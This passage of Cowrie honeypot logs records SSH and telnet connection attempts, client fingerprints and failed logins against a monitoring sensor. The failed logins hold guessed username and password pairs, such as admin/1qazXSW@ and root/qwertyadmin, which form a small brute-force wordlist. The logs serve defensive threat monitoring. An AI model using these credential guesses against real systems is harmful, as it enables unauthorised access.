af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:15.814970Z","src_ip":"176.53.96.10","session":"20ef898f8356","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftpuser1","password":"1234","message":"login attempt [ftpuser1/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:16.333165Z","src_ip":"176.53.96.10","session":"20ef898f8356","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:17.460196Z","src_ip":"176.53.96.10","session":"20ef898f8356","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":40258,"dst_ip":"159.203.135.109","dst_port":22,"session":"69b8331a5a92","protocol":"ssh","message":"New connection: 159.203.92.129:40258 (159.203.135.109:22) [session: 69b8331a5a92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:48.557020Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:48.566528Z","src_ip":"159.203.92.129","session":"69b8331a5a92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:48.571400Z","src_ip":"159.203.92.129","session":"69b8331a5a92","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qazXSW@","message":"login attempt [admin/1qazXSW@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:48.582882Z","src_ip":"159.203.92.129","session":"69b8331a5a92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:35:49.589961Z","src_ip":"159.203.92.129","session":"69b8331a5a92","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":38944,"dst_ip":"10.17.0.5","dst_port":22,"session":"ae98b988aa7b","protocol":"ssh","message":"New connection: 176.53.96.10:38944 (10.17.0.5:22) [session: ae98b988aa7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:16.325253Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:16.329943Z","src_ip":"176.53.96.10","session":"ae98b988aa7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:16.451038Z","src_ip":"176.53.96.10","session":"ae98b988aa7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Janitza","message":"login attempt [admin/Janitza] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:16.966820Z","src_ip":"176.53.96.10","session":"ae98b988aa7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:18.091214Z","src_ip":"176.53.96.10","session":"ae98b988aa7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51596,"dst_ip":"159.203.135.109","dst_port":22,"session":"3f73db55ffc4","protocol":"ssh","message":"New connection: 159.203.92.129:51596 (159.203.135.109:22) [session: 3f73db55ffc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:30.410049Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:30.415353Z","src_ip":"159.203.92.129","session":"3f73db55ffc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:30.421217Z","src_ip":"159.203.92.129","session":"3f73db55ffc4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qazxsw2","message":"login attempt [admin/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:30.443229Z","src_ip":"159.203.92.129","session":"3f73db55ffc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00199556350708,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:31.093706Z","src_ip":"176.29.26.223","session":"5ef0a4e5197b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:31.450207Z","src_ip":"159.203.92.129","session":"3f73db55ffc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":20396,"dst_ip":"159.203.135.109","dst_port":23,"session":"ec7614af60ae","protocol":"telnet","message":"New connection: 176.29.26.223:20396 (159.203.135.109:23) [session: ec7614af60ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:33.004902Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.29.26.223","src_port":29104,"dst_ip":"159.203.135.109","dst_port":23,"session":"7881b709389d","protocol":"telnet","message":"New connection: 176.29.26.223:29104 (159.203.135.109:23) [session: 7881b709389d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:36:34.176591Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57062,"dst_ip":"159.203.135.109","dst_port":22,"session":"dccf9f8bafe8","protocol":"ssh","message":"New connection: 159.203.92.129:57062 (159.203.135.109:22) [session: dccf9f8bafe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:12.489489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:12.494576Z","src_ip":"159.203.92.129","session":"dccf9f8bafe8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:12.503009Z","src_ip":"159.203.92.129","session":"dccf9f8bafe8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"222222","message":"login attempt [admin/222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:12.516520Z","src_ip":"159.203.92.129","session":"dccf9f8bafe8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:13.523795Z","src_ip":"159.203.92.129","session":"dccf9f8bafe8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":36140,"dst_ip":"10.17.0.5","dst_port":22,"session":"f21336972109","protocol":"ssh","message":"New connection: 176.53.96.10:36140 (10.17.0.5:22) [session: f21336972109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:15.041362Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:15.046748Z","src_ip":"176.53.96.10","session":"f21336972109","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:15.170586Z","src_ip":"176.53.96.10","session":"f21336972109","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"webuser","password":"pass","message":"login attempt [webuser/pass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:15.695325Z","src_ip":"176.53.96.10","session":"f21336972109","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:16.823353Z","src_ip":"176.53.96.10","session":"f21336972109","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59224,"dst_ip":"159.203.135.109","dst_port":22,"session":"b643a9d2717f","protocol":"ssh","message":"New connection: 159.203.92.129:59224 (159.203.135.109:22) [session: b643a9d2717f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:54.349424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:54.357943Z","src_ip":"159.203.92.129","session":"b643a9d2717f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:54.363146Z","src_ip":"159.203.92.129","session":"b643a9d2717f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"333333","message":"login attempt [admin/333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:54.374331Z","src_ip":"159.203.92.129","session":"b643a9d2717f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:37:55.435700Z","src_ip":"159.203.92.129","session":"b643a9d2717f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.53.96.10","src_port":60798,"dst_ip":"10.17.0.5","dst_port":22,"session":"28ce11e8b575","protocol":"ssh","message":"New connection: 176.53.96.10:60798 (10.17.0.5:22) [session: 28ce11e8b575]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:12.798212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:12.802393Z","src_ip":"176.53.96.10","session":"28ce11e8b575","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:12.924744Z","src_ip":"176.53.96.10","session":"28ce11e8b575","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwertyadmin","message":"login attempt [root/qwertyadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:13.449563Z","src_ip":"176.53.96.10","session":"28ce11e8b575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:14.576585Z","src_ip":"176.53.96.10","session":"28ce11e8b575","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00378036499023,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:33.008543Z","src_ip":"176.29.26.223","session":"ec7614af60ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00214076042175,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T15:38:34.178246Z","src_ip":"176.29.26.223","session":"7881b709389d","protocol":"telnet"}
